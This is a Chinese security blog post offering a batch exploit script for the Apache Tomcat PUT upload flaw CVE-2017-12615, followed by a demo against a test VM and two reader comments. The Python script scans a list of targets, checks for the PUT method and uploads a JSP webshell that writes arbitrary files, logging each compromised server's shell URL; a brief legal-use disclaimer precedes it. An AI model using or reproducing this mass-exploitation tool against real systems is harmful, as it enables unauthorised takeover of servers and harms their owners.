登录

CVE-2017-12615/CVE-2017-12616:Tomcat put 批量测试poc 批量上传程序

exploit-poc 0x0 363次浏览 已收录 2个评论 扫描二维码

验证方式摘自T00Ls

只允许用来测试工作中需要的验证问题,禁止用于非法途径。

程序名称:tomcat put上传漏洞利用程序v1.1,tomcat_put.py

程序作者:pt007@vip.sina.com
漏洞编号:CVE-2017-12615
影响平台:Windows&Linux
影响版本:Apache Tomcat 7.0.0 – 7.0.81
程序用法:
tomcat1.txt里面设置需要扫描的IP地址,如:10.110.123.30:8080 回车后输入下一个IP地址
python tomcat_put.py
上传成功的结果会自动存入当前目录下的tomcat_success.txt文件!

成功会自动部署webshell,http://10.110.123.30:8080/test11.jsp

#! -*- coding:utf-8 -*- import httplib
import sys
import time,codecs
UrlFile=file('./tomcat1.txt') #url列表
fp= codecs.open("./tomcat_success.txt","a") #成功利用后写入的文件,支持写入中文字符的方式
body = '''<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">'''

if __name__ == "__main__":
try:
print '''
----------------------------------------------------------------------------------------
程序名称:tomcat put上传漏洞利用程序v1.1,tomcat_put.py
程序作者:pt007@vip.sina.com
漏洞编号:<a href="http://www.hi0x0.com/?tag=cve-2017-12615" title="查看更多关于CVE-2017-12615的文章" target="_blank">CVE-2017-12615</a>
影响平台:Windows&Linux
影响版本:Apache Tomcat 7.0.0 - 7.0.81
程序用法:
\ttomcat1.txt里面设置需要扫描的IP地址,如:10.110.123.30:8080 回车后输入下一个IP地址
\tpython tomcat_put.py
\t上传成功的结果会自动存入当前目录下的tomcat_success.txt文件!
\t成功会自动部署webshell,http://10.110.123.30:8080/test11.jsp
-----------------------------------------------------------------------------------------\n'''
urllist=[]
print "\ttomcat url list:",
while True:
line = UrlFile.readline()
if len(line) == 0: # Zero length indicates EOF
break
#exit()
line=line.strip()
print line,
urllist.append(line)
UrlFile.close()
print '\n'
for i in urllist:
conn = httplib.HTTPConnection(i)
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(i)
url = "/" + "test11"+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status  == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
info='\t[*]shell:'+'http://' +i + url[:-1]+"\n"
print info
fp.write(info)
fp.flush()
elif res.status == 204 :
info='http://' +i + url[:-1]
print '[*]file exists! %s' %info
else:
print '\t[*]error!'
conn.close()
else:
print '\t[*]server not vulnerable!'

except Exception,e:

print '\tError:', e

演示实例:

我服务器ip为192.168.146.144

win2003虚拟机

将上面利用poc复制到py文件

CVE-2017-12615/CVE-2017-12616:Tomcat put 批量测试poc 批量上传程序

新建文档tomcat1.txt,将ip还有端口写入保存

CVE-2017-12615/CVE-2017-12616:Tomcat put 批量测试poc 批量上传程序

在CMD执行

CVE-2017-12615/CVE-2017-12616:Tomcat put 批量测试poc 批量上传程序

乱码的问题可以忽略

查看1.py的文件路径,生成的文件tomcat_success.txt

CVE-2017-12615/CVE-2017-12616:Tomcat put 批量测试poc 批量上传程序

生成了利用路径shell:http://192.168.146.144:8080/test11.jsp

CVE-2017-12615/CVE-2017-12616:Tomcat put 批量测试poc 批量上传程序


hi0x0.com , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明CVE-2017-12615/CVE-2017-12616:Tomcat put 批量测试poc 批量上传程序
喜欢 (6)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(2)个小伙伴在吐槽
  1. 出了错误。。老铁windows下 提示第9行出错 是老铁你运行的环境的是?
    双击6662017-09-30 12:46 回复 Windows 7 | Chrome 55.0.2883.87
  2. windows环境下运行出现第九行出错 老铁这是什么毛病
    asdasdq2017-09-30 12:49 回复 Windows 7 | Chrome 55.0.2883.87